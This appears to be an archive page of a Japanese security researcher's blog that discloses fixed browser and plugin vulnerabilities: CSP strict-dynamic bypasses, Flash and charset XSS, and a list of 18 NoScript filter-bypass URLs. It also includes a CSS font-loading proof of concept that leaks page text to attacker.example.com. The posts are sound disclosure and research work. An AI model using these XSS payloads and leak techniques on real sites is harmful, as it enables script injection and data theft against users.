ラベル Firefox の投稿を表示しています。 すべての投稿を表示
ラベル Firefox の投稿を表示しています。 すべての投稿を表示

2018/05/24

CVE-2018-5175: FirefoxでCSPのstrict-dynamicバイパス

English version is here: https://mksben.l0.cm/2018/05/cve-2018-5175-firefox-csp-strict-dynamic-bypass.html


Firefox 60で修正されたContent Security Policy(CSP)のstrict-dynamicをバイパスできた脆弱性について書きます。

https://www.mozilla.org/en-US/security/advisories/mfsa2018-11/#CVE-2018-5175
A mechanism to bypass Content Security Policy (CSP) protections on sites that have a script-src policy of 'strict-dynamic'. If a target website contains an HTML injection flaw an attacker could inject a reference to a copy of the require.js library that is part of Firefox’s Developer Tools, and then use a known technique using that library to bypass the CSP restrictions on executing injected scripts.

strict-dynamicとは


まず簡単にCSPについておさらいしながら、strict-dynamicが誕生した背景を少し書いておきます。
従来のCSPは、ドメインをホワイトリストする形でリソースのロードを制限します。
例えば、次のCSP設定は、自分自身のオリジンと trusted.example.com からのみ、JavaScriptのロードを許可します。
Content-Security-Policy: script-src 'self' trusted.example.com
これで、 XSSがあった場合にも、evil.example.org からスクリプトをロードされたり、インラインのスクリプトを実行されることはなくなります。十分安全に思えますが、trusted.example.com にCSPのバイパスに都合の良いスクリプトが置かれている場合などに、まだ悪意あるスクリプトを実行される可能性が残っています。具体的には、trusted.example.com に JSONP がある場合などです。
以下は、このCSP設定の下で、完全にロードが許可されるスクリプトです。
<script src="//trusted.example.com/jsonp?callback=alert(1)//"></script>
このAPIがcallbackパラメータに渡された入力をcallback関数部分に直接反映するものであれば、以下のように、任意のスクリプトとして利用できてしまいます。
alert(1)//({});
その他にも、AngularJSがロードできるとバイパスが起こることが知られています。特に、CDNなどの、多くのJavaScriptをホストしているドメインを許可した場合には、この可能性がより現実的になります。

このように、ホワイトリストでは、CSPを安全に運用することが難しい場合があります。そこで考えられたのがstrict-dynamicです。このオプションを次のように設定したとします。
Content-Security-Policy: script-src 'nonce-secret' 'strict-dynamic'
すると、ホワイトリストは無効化され、nonce属性がsecretという値を含んだスクリプトのみがロードされるようになります。
<!-- これはロードされる -->
<script src="//example.com/assets/A.js" nonce="secret"></script>

<!-- これはロードされない -->
<script src="//example.com/assets/B.js"></script>
このとき、A.jsがさらに別のJavaScriptをロードして使いたい場合も考えられます。こういった場合、特定の条件でロードされれば、nonceをつけなくてもロードが許可されるようになっています。仕様で書かれている言葉を使うと、non-"parser-inserted" なスクリプト要素は、スクリプトを使ってロードすることが許可されます。
どのようなものが許可されるか、以下に具体例を示します。
/* A.jsのコード */

//これはロードされる
var script=document.createElement('script');
script.src='//example.org/dependency.js';
document.body.appendChild(script);

//これはロードされない
document.write("<scr"+"ipt src='//example.org/dependency.js'></scr"+"ipt>");
createElement()などを使ってロードする場合が、non-"parser-inserted"なスクリプト要素となり、ロードが許可されます。一方で、document.write()などを使って書き出す場合は、parser-inserted なスクリプト要素となり許可されません。

ここまで、strict-dynamicの動作をおおまかに説明しました。

より詳しくは仕様を参照してください。

さて、strict-dynamicを使えば、全くバイパス不可能かというとそうでもありません。
次に、strict-dynamicの既知のバイパス手法について紹介します。

既知のstrict-dynamicバイパス


ターゲットのページで特定のライブラリが使われている場合に、strict-dynamicもバイパス可能であることが知られています。

GoogleのSebastian Lekies氏、Eduardo Vela Nava氏、Krzysztof Kotowicz氏によって、影響を受けるライブラリがまとめられています。strict-dynamicのバイパスだけではなく、ライブラリから生じるその他のCSPのバイパスもまとめられています。

この中の、require.js のstrict-dynamicのバイパスをみてみましょう。
ターゲットのページが、strict-dynamicを設定したCSPを持ち、require.jsをロードしており、シンプルなXSSを持っているとします。このとき、次のようなスクリプト要素が挿入されると、nonceを知らなくても、任意のスクリプトを実行できてしまいます。
<meta http-equiv="Content-Security-Policy" content="default-src 'none';script-src 'nonce-secret' 'strict-dynamic'">
<!-- XSS START -->
<script data-main="data:,alert(1)"></script>
<!-- XSS END -->
<script nonce="secret" src="require.js"></script>
require.jsは、data-main属性を持ったscript要素をみつけると、以下と同等のコードから、新たなスクリプトをロードするようになっています。
var node = document.createElement('script');
node.src = 'data:,alert(1)';
document.head.appendChild(node);
前述したように、 strict-dynamicが設定されているページにおいて、createElement()からスクリプトをロードする場合は、nonceがなくてもロードが許可されます。このように、既にロードされているJavaScriptのコードの動作を使って、場合によってはstrict-dynamicもバイパスできます。

今回のFirefoxの脆弱性は、このrequire.jsの動作のおかげで発生していました。
本題のFirefoxの脆弱性について解説していきます。

Firefoxでstrict-dynamicバイパス(CVE-2018-5175)


Firefoxは、一部のブラウザの機能をレガシーな拡張機能を使って実装しています。レガシーな拡張機能とは、WebExtensionsではなく、FirefoxがFirefox 57でサポートを廃止したXUL/XPCOMベースの拡張機能のことです。現在最新のFirefox 60でも、ブラウザ内部ではまだこの仕組みを使っている部分があります。

このバイパスでは、ブラウザ内部で使われている、レガシーな拡張機能のリソースを使います。WebExtensionsでは、マニフェストの web_accessible_resources で指定した拡張機能のリソースは、任意のウェブページからロードできるように設定できます。これと同じように、レガシーな拡張機能のマニフェストにも、contentaccessible というオプションがあり、任意のウェブページから拡張機能のリソースのロードを許可できます。今回のバイパスでは、ブラウザ内部のリソースであるrequire.jsが、このオプションによって、ウェブアクセシブルな状態で公開されていたことで、バイパスに利用できてしまっていました。

マニフェストを見てみましょう。Windowsの64bitのFirefoxであれば、次のURLをFirefoxで開くことでマニフェストの内容を確認できます。

jar:file:///C:/Program%20Files%20(x86)/Mozilla%20Firefox/browser/omni.ja!/chrome/chrome.manifest
content branding browser/content/branding/ contentaccessible=yes
content browser browser/content/browser/ contentaccessible=yes
skin browser classic/1.0 browser/skin/classic/browser/
skin communicator classic/1.0 browser/skin/classic/communicator/
content webide webide/content/
skin webide classic/1.0 webide/skin/
content devtools-shim devtools-shim/content/
content devtools devtools/content/
skin devtools classic/1.0 devtools/skin/
locale branding ja ja/locale/branding/
locale browser ja ja/locale/browser/
locale browser-region ja ja/locale/browser-region/
locale devtools ja ja/locale/ja/devtools/client/
locale devtools-shared ja ja/locale/ja/devtools/shared/
locale devtools-shim ja ja/locale/ja/devtools/shim/
locale pdf.js ja ja/locale/pdfviewer/
overlay chrome://browser/content/browser.xul chrome://browser/content/report-phishing-overlay.xul
overlay chrome://browser/content/places/places.xul chrome://browser/content/places/downloadsViewOverlay.xul
overlay chrome://global/content/viewPartialSource.xul chrome://browser/content/viewSourceOverlay.xul
overlay chrome://global/content/viewSource.xul chrome://browser/content/viewSourceOverlay.xul
override chrome://global/content/license.html chrome://browser/content/license.html
override chrome://global/content/netError.xhtml chrome://browser/content/aboutNetError.xhtml
override chrome://global/locale/appstrings.properties chrome://browser/locale/appstrings.properties
override chrome://global/locale/netError.dtd chrome://browser/locale/netError.dtd
override chrome://mozapps/locale/downloads/settingsChange.dtd chrome://browser/locale/downloads/settingsChange.dtd
resource search-plugins chrome://browser/locale/searchplugins/
resource usercontext-content browser/content/ contentaccessible=yes
resource pdf.js pdfjs/content/
resource devtools devtools/modules/devtools/
resource devtools-client-jsonview resource://devtools/client/jsonview/ contentaccessible=yes

resource devtools-client-shared resource://devtools/client/shared/ contentaccessible=yes
黄色い箇所が、問題のファイルを公開に設定している部分です。この2行は、resource: URIを作成するためにあります。最初のresource devtools devtools/modules/devtools/の行は、resource://devtools/ というURL に devtools/modules/devtools/ のディレクトリ( jar:file:///C:/Program%20Files%20(x86)/Mozilla%20Firefox/browser/omni.ja!/chrome/devtools/modules/devtools/ にあるディレクトリ )をマッピングするという意味になります。これで、Firefoxから resource://devtools/ を開くことで、ディレクトリ以下のファイルへアクセスできるようになります。次の行も同様に、resource://devtools-client-jsonview/ へのマッピングを行っています。このURLが、contentaccessible=yesと設定されており、このディレクトリ以下に置かれたファイルを任意のページからロードできるようにしています。このディレクトリに問題のrequire.jsがあります。

require.jsを発見したら、あとはstrict-dynamicが設定されたページからロードするだけです。実際のバイパスは次のようになります。

https://vulnerabledoma.in/fx_csp_bypass_strict-dynamic.html
<meta http-equiv="Content-Security-Policy" content="default-src 'none';script-src 'nonce-secret' 'strict-dynamic'">
<!-- XSS START -->
<script data-main="data:,alert(1)"></script>
<script  src="resource://devtools-client-jsonview/lib/require.js"></script>
<!-- XSS END -->

これで、data: URLがロードされ、アラートが実行されます。
あれ、strict-dynamicはnonceが必要だから、そもそもrequire.js自体ロードされないんじゃないか?と思うかもしれません。実は、どんなに厳しくCSPを設定しても、拡張機能のウェブアクセシブルなリソースはCSPを無視してロードされます。この動作はCSPの仕様でも触れられており、CSPは拡張機能やブックマークレットの機能を妨害すべきでないと明記されています。

Policy enforced on a resource SHOULD NOT interfere with the operation of user-agent features like addons, extensions, or bookmarklets. These kinds of features generally advance the user’s priority over page authors, as espoused in [HTML-DESIGN].
Firefoxのresource: URIにもこの規則が適用されていました。このおかげで、利用者は、CSPが設定されているページでも、期待通りに拡張機能を動作させることができますが、一方で、今回のように、この特権をCSPのバイパスに利用される可能性も作ってしまっています。もちろん、この問題が起きるのはブラウザのリソースに限ったことではありません。一般の拡張機能でも、ウェブアクセシブルに設定されたリソースにバイパスに利用できるものがあれば、同じことが起きます。
今回は、ブラウザの内部リソースに問題のファイルがあったため、特定の拡張機能がインストールされているかどうかにかかわらず、デフォルトで全てのFirefoxでバイパスへの利用を許してしまっていました。修正後は、resource: URIにもCSPを適用するようになったようです。

終わりに


Firefoxの、CSPのstrict-dynamicをバイパスできた脆弱性について書きました。

ちなみにこの問題は、今年Cure53で出題したXSS Challengeの、Cure53 CNY Challenge 2018 の別解がないか探していた時に発見しました。こちらもstrict-dynamicをバイパスするチャレンジになっているので、興味がある方はご覧ください。
また、この別バージョンのXSS Challengeも現在出題中なので、ぜひトライしてみてください。

最後に、このバイパスに気付かせてくれたGoogleの研究に感謝します。

2015/10/24

@font-faceのunicode-rangeを利用してCSSだけでテキストを読み出す

English version: http://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html
----------------------------------

CSSの @font-faceのunicode-range を使った攻撃手法を思いついたので共有します。

この手法を使うと、攻撃者はCSSだけでページ内に書かれたテキストを推測することができます。
この手法は、次のような場面で利用できるかもしれません。

・ ブラウザのXSS保護機能のバイパス(ChromeのXSS Auditorは<style>の注入をブロックしない)
・ ターゲットのページで、JavaScriptの実行はできないがスタイルが注入できた場合の攻撃への利用

自分が知る限りでは、CSSを利用した今でも使える既知の攻撃手法には、属性値を読み取れるものはあっても、テキストの中身を読み取る手法は知りません。この手法は、完全には読み取ることはできないながらも、それを可能にします。

属性を読み取る手法は以下のページのAttribute Readerで紹介されています。まだ現役の手法です。

CSS - The Sexy Assassin
http://p42.us/css/


今のところ、ChromeとFirefox Nightly 44で動作します。それでは、みていきます。

以下のようなページがあるとします。
<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* 取得される */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* これも取得される */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* 取得されない */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>
<p id="sensitive-information">AB</p>

このページにアクセスすると、ChromeとFirefox Nightlyでは、http://attacker.example.com/?Aとhttp://attacker.example.com/?Bに対するリクエストが飛びます。一方、http://attacker.example.com/?Cに対するリクエストはとびません。

これは、ChromeとFirefox Nightlyでは、フォントを適用しようとしている部分にunicode-rangeの範囲内の文字が含まれているときだけ、フォントをロードする動作になっているためです。
フォントを適用しようとしている部分であるsensitive-informationのidを持った部分をみると、「A」と「B」しか含まれていないため、「A」と「B」のフォントだけロードし、「C」のフォントはロードしないという動作になっている訳です。

この時点で既に、 attacker.example.com は、sensitive-informationに "A"と"B" が含まれているが、 "C" は含まれていないことを知れたということになります。

もう少し、取得対象の文字を増やした例をみてみます。

以下のページにChromeからアクセスし、
http://vulnerabledoma.in/poc_unicode-range2.html

開発者ツールのネットワークタブをみてください。次のようなリクエストが見れるはずです。



見てのとおり、 M,a,s,t,o,K,i,n,u,g,w を含む外部へのリクエストが送信されています。ここで気付くことは、重複してでてくる文字( この場合、a )はわからないということです。それでも、この例のように、取得の対象によっては、内容を推測するのに十分な情報を攻撃者に与えるはずです。

この動作は仕様にも明記されているようです。(http://www.w3.org/TR/css3-fonts/#composite-fonts のEXAMPLE 13を参照)

フォントのダウンロードを必要最低限に抑えることで、リクエスト量を減らすことができますが、一方で、その副作用として、新しい攻撃の可能性がうまれてしまったというところでしょう。
Chromeチームにも報告しましたが、WontFixという扱いになりました。

JavaScriptの実行ほど大きな脅威ではないとはいえ、現在でも、CSSだけでも攻撃が可能になる場合があるということは覚えておいた方がよいかもしれません。

2014/04/30

CVE-2014-0503: 0x00文字を使ったFlashのセキュリティ制限のバイパス

Flash Playerに存在した、 セキュリティ制限をバイパスすることができた問題について書きます。この問題は2013年11月10日にAdobeに報告し、2014年3月のアップデートで修正されました。

http://helpx.adobe.com/security/products/flash-player/apsb14-08.html
These updates resolve a vulnerability that could be used to bypass the same origin policy (CVE-2014-0503).
早速どのような問題だったか書いていきます。
(なお、本問題はFirefoxにインストールしたFlash Playerでしか再現しませんでした。)


loader.load() という関数があります。この関数は、画像やSWFなどをSWF上にロードするために用いられます。
第1引数で、ロードする画像やSWFのURL、 第2引数で、どういったコンテキストで動作させるかを設定することができます。第2引数の設定次第では、第1引数に指定した別ドメインのSWFを読み込んで、そのSWFに記述されているJavaScriptの呼び出しを読み込み側のコンテキストで動作させることもできます。第2引数を省略した場合は、JavaScriptを実行できるのは同一ドメインのSWFの場合のみです。

これを踏まえて、以下のようなコードがあった場合を考えます。
var url:URLRequest = new URLRequest(loaderInfo.parameters["url"]);
var loader:Loader = new Loader();
loader.load(url);
addChild(loader);
loader.load()にパラメータの値がそのまま渡されているようなコードです。
セキュリティを考えたことがある人なら、未検証で値を渡していることに直感的に不安をかんじると思いますが、この関数においては、通常は、SWFがあるドメイン上で画像ファイルなどを勝手にロードできるだけで、大きな問題にはならないはずです。(もちろん、 javascript: な URLを指定してもFlash側でそのような動作は禁止されており、JavaScriptは実行されません。)
しかしながら、以下のようなURLを与えると、通常の制限を超えて、別ドメインのSWFからJavaScriptを動作させること(すなわち、XSSすること)ができていました。

http://victim.example.com/viewer.swf?url=http://victim.example.com%2500@attacker.example.org/xss.swf

(※ 被害者のサイトを victim.example.com、攻撃者のサイトを attacker.example.org  とします)

このURLで loaderInfo.parameters["url"]が実際に受け取る値は、http://victim.example.com%00@attacker.example.org/xss.swf です。ですから、ロードしようとしているのは、攻撃者のサイトに設置されたSWFファイルということになります。

前述のとおり、通常、第2引数を指定しない場合は、同一ドメインのSWFファイルをロードしたときしかJavaScriptの実行は起こらないはずでした。ところが、攻撃者のサイトのURLの認証情報を記述する部分に 「被害者のサイトのホスト」 + 「%00」 を指定することで、ロードしようとしているURLを被害者のサイトのドメインのコンテンツと誤って判断してしまうのか、xss.swfのJavaScriptの呼び出しをvictim.example.comで実行してしまいます。

要するに、この動作によって起きることは、loader.load()の第1引数に任意の値を渡せるSWFファイルがターゲットのサイトにあれば、XSSが可能になってしまうということです。この関数でも、CVE-2014-0491: AS2の関数に存在したjar:を通じたXSS で問題になった関数と同じように、画像などが勝手に自ドメインでロードされてもさほど問題にはならないので、パラメータから受け取った値をそのままロードするURLとして使っていることがよくあります。この問題のせいでXSSに脆弱になるサイトはたくさんあったのではないでしょうか。

以上のような問題でした。
また、同じように0x00文字を用いる方法で、allowScriptAccess=sameDomain 制限をバイパスできたり、BitmapData.draw()を使って別ドメインの画像ファイルの情報を読み取れたり、Flashの関数中で相対パス指定されているとき、細工したドメインを相対パスの元として読ますことができたりと、様々なおかしなことを起こせていました。

本問題も、HackerOneのThe Internet Bug Bountyを通じて $2,000 の賞金を頂きました。MicrosoftとFacebookがスポンサーになっているらしいので、両社に感謝です。ありがとうございます。

#6380 Same Origin Security Bypass Vulnerability - HackerOne

次回の記事でも修正されたFlashの脆弱性を紹介するつもりです。

2014/03/02

CVE-2014-0491: AS2の関数に存在したjar:を通じたXSS

これは、2013年11月8日に報告し、 2014年1月のアップデートで修正された、AS2の普通JavaScriptが実行できるべきでない複数の関数で、JavaScriptを実行できた問題です。

https://helpx.adobe.com/security/products/flash-player/apsb14-02.html

These updates resolve a vulnerability that could be used to bypass Flash Player security protections (CVE-2014-0491).

FlashのnavigateToURLに指定するURLで、jar:というプロトコルをURLの先頭につけると、セキュリティ制限を突破できてしまうことが、 Soroush Dalili氏によって公開されていました。( https://soroush.secproject.com/blog/2013/10/catch-up-on-flash-xss-exploitation-part-2-navigatetourl-and-jar-protocol/ )

氏の発見をきっかけに、この挙動について自分でも深く追っていったところ、手法が公開されていないもので、jar:を使ったかなり致命的な問題があることに気が付きました。

確認しただけで、少なくとも、次の関数はすべて、"jar:javascript:alert(1)" をロードするURLとして指定すると、JavaScriptを実行できていました。(※ただし、Firefox上のFlash Playerに限ります)

MovieClipLoader.loadClip
loadMovie
loadMovieNum
loadVariables
loadSound

こういうことです:

_root.loadMovie("jar:javascript:alert(1)")
//JavaScriptが実行される

これはかなり危険な動作です。これらの関数は音声や動画再生などに使われますが、普通は任意のURLをロードできても、動画や音声を再生できるだけなので、世間で使われているFlashファイルでは、特に読み込み可能なURLを制限していないことが多いからです。 ロードするURLをパラメータからもらって、これらの関数を使ってしまったらXSS脆弱性が生まれてしまうことになります。

ExternalInterface.callのバグをずっと放置していたりするので、Adobeはもしかするとこの問題をスルーするかもしれないと思っていましたが、11~1月という、割と短い期間で修正してくれました。しかも、loadMovieなどの関数のXSSバグだけではなく、jar:を使ったすべてのハックが封印されたようです。素晴らしい。

このバグを報告してしばらくしたあと、Flashの報酬制度が発表されました…。
タイミング悪いなーと思っていたら、 後日わざわざ連絡がきて、HackerOneのThe Internet Bug Bountyを通じて、$2,000の報酬を頂きました。ここのレポートだと "Handling of jar: URIs bypasses AllowScriptAccess=never" というタイトルで掲載されていますが、( https://hackerone.com/reports/2107 ) 同時期にjar:を使ってAllowScriptAccess制限をバイパスできたバグも報告していたので、これがjar:のバグの代表としてタイトルになったのだと思います。 Soroush Dalili氏もAllowScriptAccess制限をバイパスできた問題を発見していたようで、詳細は氏のブログに書かれていますので、参考にしてください。(
https://soroush.secproject.com/blog/2014/01/catch-up-on-flash-xss-exploitation-part-3-xss-by-embedding-a-flash-file/ )


最近集中的にFlashを追っていましたが、Flashはバグが多いです。
今回のように、おかしな場所でXSSが生まれてしまったりすることもありうるので、サービス運営者は、危険になる可能性を少しでも減らすために、必要ないFlashファイルを1度整理されるといいと思います。

2013/12/11

CVE-2013-5612: Firefoxのcharsetの継承によるXSS

Firefox 26で修正された、 オリジンを超えて文字エンコーディングを継承させることができたため、 XSSを引き起こせる場合があったバグについて書きます。

MFSA 2013-106: Character encoding cross-origin XSS attack
https://www.mozilla.org/security/announce/2013/mfsa2013-106.html


一言で言います。

エンコーディング指定がないページに対し、POSTリクエストを送ると、たとえオリジンが異なっても、 POSTリクエストを送ったページのエンコーディングを使ってページを表示することができていました。
つまり、エンコーディング指定がないページで自動選択されるエンコーディングを、外部のサイトが自由に選択できたということです。


発見のきっかけはZDResearchという情報セキュリティ会社の以下のXSSチャレンジに挑戦していたときです。

https://zdresearch.com/challenges/xss1/


このページにはエンコーディングの指定がなく、ページのエンコーディングを想定外のもので表示できればXSSできるのに、と考えていたところ、この問題に気が付きました。
そのときの解が以下です。Firefox26未満のブラウザでXSSできます。

http://l0.cm/zdresearch_xss_challenge.html


ISO-2022-KRがPOSTを送ったページ l0.cm から継承され、 「0x0E」から「0x0F」が2バイトで1文字表現となり、期待するHTML構造を破壊し、onmouseover属性を埋め込むことができています。

(ちなみに、この発見の賞品として、ZDResearchから以下の写真の A Bug Hunter's Diary: A Guided Tour Through the Wilds of Software Security を頂きました。Thank you ZDResearch!)



余談として、現在Firefoxがサポートしているエンコーディング( http://l0.cm/encodings/table/ を参照 )はほとんどが安全なものに限られており、また、 エンコーディング自体のバグの多くも修正されているので、全く無理ではないものの、 HTMLの構造をうまく変更してXSSすることが難しいです。UTF-7とか、X-Mac-Farsiがサポートされている頃に発見していたらもうちょっとおもしろかったんですけど!

とはいえ、このバグが修正されても、そもそもウェブページにエンコーディング指定がない時点でどのエンコーディングで表示されるかが保証されないので、今後もエンコーディング指定がないページでは、場合によっては想定外のものが自動選択され、XSSが起きる場合はあり得ます。引き続き、サイト管理者はContent-Typeヘッダ(※こっちで確実にすることを推奨します)やmetaタグで、エンコーディング指定をきっちりすべきです。

2012/07/08

NoScriptのAnti-XSS機能のバイパス18個

 FirefoxのアドオンであるNoScriptに備わっているXSS防止機能の、これまでに僕が報告した、対策された迂回方法を公開します。


1. v2.3.2rc2で修正

http://vulnerabledoma.in/char_test?charset=iso-2022-jp&body=%3Cifr%1B%28Jame%20o%1B%28Jnload=aler%1B%28Jt%281%29%3E

ISO-2022-JPでエンコードされたページまたは自動選択でISO-2022-JPが選択されたページで、NoScriptが反応する文字列中にISO-2022-JPで無視されるバイト列を挟むことで検出を回避できました。


2. v2.3.2rc3で修正

http://l0.cm/noscript/

単純にイベントハンドラの検出のバグです。URL中に()が入ると弾かれるので、location.href=window.nameでURL中に()を含めないようにし、さらにwindow.name中に()が入っていても検出されるので、window.name中の()をパーセントエンコードすることで回避できました。


3. v2.3.2rc4で修正

http://vulnerabledoma.in/char_test?body=%3Ch1%20/onmouseover=%22eval%28%27alert%28location%27%2B%27%29%27%29%3B%22%3Exxx

単に「/」がついたイベントハンドラの検出のバグです。


4. v2.3.2rc5で修正

http://vulnerabledoma.in/char_test?charset=hz-gb-2312&body=%3Ch1%20o~%0Anmouseover=%22ale~%0Art%281%29%22%3Exxxxx


ISO-2022-JPの方法と同じように、エンコーディング「HZ-GB-2312」で無視される文字列を使い検出を回避しました。

追記--------------------------

あ!これ今見たら動かないですね!Firefox12のこのときに無視されないようになったみたいです。

------------------------------


5. v2.3.5rc1で修正

http://l0.cm/noscript2/

javascriptスキームのリンク中の「name」文字列の検出のバグです。クリックするとnameの中身が文字列でかえってくるので、nameにスクリプトタグを書いた文字列を設定しています。
(※ここからリンクを作成することで回避する方法を いくつか紹介しますが、なぜ危険なスキームをチェックして検出しないのかと思うかもしれません。NoScriptは、誤検出を減らすためか、任意のスク リプトを実行できてしまいそうな危険なものは検出されますが、javascriptスキームやdataスキームのリンクが全く作れないほどは制限されていないようです。)


6. v2.3.5rc2で修正

http://l0.cm/noscript3/

「\u006Eame」と表記することで「name」という文字列の検出を回避できていました。
さらにwindow.nameの中身のチェックが厳しくなったので、window.nameを設定するタイミングをずらして回避しました。


7. v2.3.6rc2で修正

http://l0.cm/noscript4/

「feed:」を先頭につけた攻撃URLをフレームに埋め込むと、検出を回避できていました。


8. v2.4.1rc1で修正

http://l0.cm/noscript5/

<script>タグ内に動的生成された文字列中でも、「\u006Eame」とすることでnameの検出を回避できていました。
(※NoScriptは<script>タグ内に動的生成された文字列から生じるXSSでも、ある程度検出できるようにしているようです。ここからいくつかそのタイプのバイパスが出てきます。)


9. v2.4.5rc1で修正

http://vulnerabledoma.in/xss_js?q=%22-alert%A51%A4-%22

http://vulnerabledoma.in/char_test?body=%3Ca%20href=javascript:alert%A51%A4%3Eaaa

ソーシャルエンジニアリングによりARMSCII-8というエンコーディングに変更させることで、0xA5が「(」、0xA4が「)」となり、 0x28/0x29を使わずにカッコを埋め込むことができ、検出を回避してJavaScriptを実行させることができていました。ARMSCII-8はもはや使われていないエンコーディングのため、ARMSCII-8へのエンコーディングの切替えができないようにNoScript側で変更されました。ちなみに、過去にUTF-7でも同じ措置をとったという話をききました。
(※このARMSCII-8のような、別のバイトにASCIIの範囲の文字が現れる文字エンコーディングがいくつかあります。この調査を以前したので、いずれ結果を載せたいと思います。)


10. v2.4.5rc1で修正

http://l0.cm/noscript6/

/a/.source というような表記と、window.nameを組み合わせることで、回避できていました。


11. v2.4.5rc2で修正

http://l0.cm/noscript7/

E4Xとlocation.hashとwindow.nameを組み合わせることで、回避できていました。


12. v2.4.5rc3で修正

http://vulnerabledoma.in/xss_js?q=%22%3Blocation.href=location.hash[1]%2Blocation.hash[2]%2Blocation.hash[3]%2Blocation.hash[4]%2Blocation.hash[5]%2Blocation.hash[6]%2Blocation.hash[7]%2Blocation.hash[8]%2Blocation.hash[9]%2Blocation.hash[10]%2Blocation.hash[11]%2Blocation.hash[12]%2Blocation.hash[13]%2Blocation.hash[14]%2Blocation.hash[15]%2Blocation.hash[16]%2Blocation.hash[17]%2B281%2Blocation.hash[17]%2B29//#javascript:alert%

1文字ずつアクセスすることで、検出を回避できていました。

13. v2.4.5rc4で修正

http://vulnerabledoma.in/char_test?body=%3Ca%20href=%22data:text/html%3Bbase64,PGEgaHJlZj0iZGF0YTp0ZXh0L2h0bWw7YmFzZTY0LFBITmpjbWx3ZEQ1aGJHVnlkQ2hrYjJOMWJXVnVkQzVrYjIxaGFXNHBQQzl6WTNKcGNIUSsiPkNsaWNr%22%3EClick

dataスキームのリンクにbase64で2重にエンコードした文字列を使用することで、検出を回避できていました。


14. v2.4.5rc5で修正

http://vulnerabledoma.in/char_test?body=%3Ca%20href=%22data:x%3Bb%20ase64,P%20HNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg%22%3EClick

dataスキーム中のbase64文字列の間にあるスペース(0x20)を無視するFirefoxの挙動を利用して、検出を回避できていました。


15. v2.4.5rc6で修正

http://vulnerabledoma.in/xss_js?q=%22%3Bfor%20each%28location%20in%20[%22javascript%22%2B%22:alert%281%29%22]%29{}//

http://vulnerabledoma.in/xss_js?q=%22%3Bfor%28location%20of%20[%22javascript%22%2B%22:alert%281%29%22]%29{}//

for each-in/for-of文を使うことでlocationへの代入を行い、任意のJavaScript実行の検出を回避できていました。


16. v2.4.5rc7で修正

http://vulnerabledoma.in/xss_js?q=%22%3Bfunction::[%27location%27]=%27javascript%27%2B%27:alert%281%29%27//

function:: のような、Firefox特有の記法で回避できていました。


(v2.4.6で修正)

http://vulnerabledoma.in/xss_js?q=%22%3Bwith%28document%29{cookie=123}//

withを使用することで、任意のCookieのセットができていました。


17. v2.4.6で修正

http://vulnerabledoma.in/xss_js?q=%22%3Bx=%27javascript%27%2B%27:alert%281%29%27%3B//%E2%80%A8location=x//

U+2028/2029が改行と考慮されていなかったため、自ら書いた「//」のコメントアウトからそれらの文字列で抜けることで、検出を回避できていました。


18. v2.4.6で修正

http://vulnerabledoma.in/xss_js?q=%22%3Bcrypto.generateCRMFRequest%28%27CN=0%27,0,0,null,%27alert%281%27%2B%27%29%27,384,null,%27rsa-dual-use%27%29//

crypto.generateCRMFRequest()をeval()の代用とすることで、任意のJavaScript実行の検出を回避できていました。


以上です!

各ブラウザのAnti-XSS機能よりもNoScriptが特に優れている点は、問題が発見された時の対応の早さだと思います。NoScriptの開発者であるGiorgio氏は、どれもその日のうちにrc版をリリースしてくれるほど、熱心に対応してくれました。

皆さんも突破に挑戦して、報告してみてはいかがでしょうか!


参考文献:

7.  http://view.officeapps.live.com/op/view.aspx?src=http%3A%2F%2Futf-8.jp%2Fpublic%2F20120421%2Fmomiji.pptx hack#1

15. http://d.hatena.ne.jp/st4rdust/20110329/1301386042

16. http://sla.ckers.org/forum/read.php?24,28641,35101#msg-35101

18. http://www.slideshare.net/x00mario/the-future-of-web-attacks-confidence-2010/35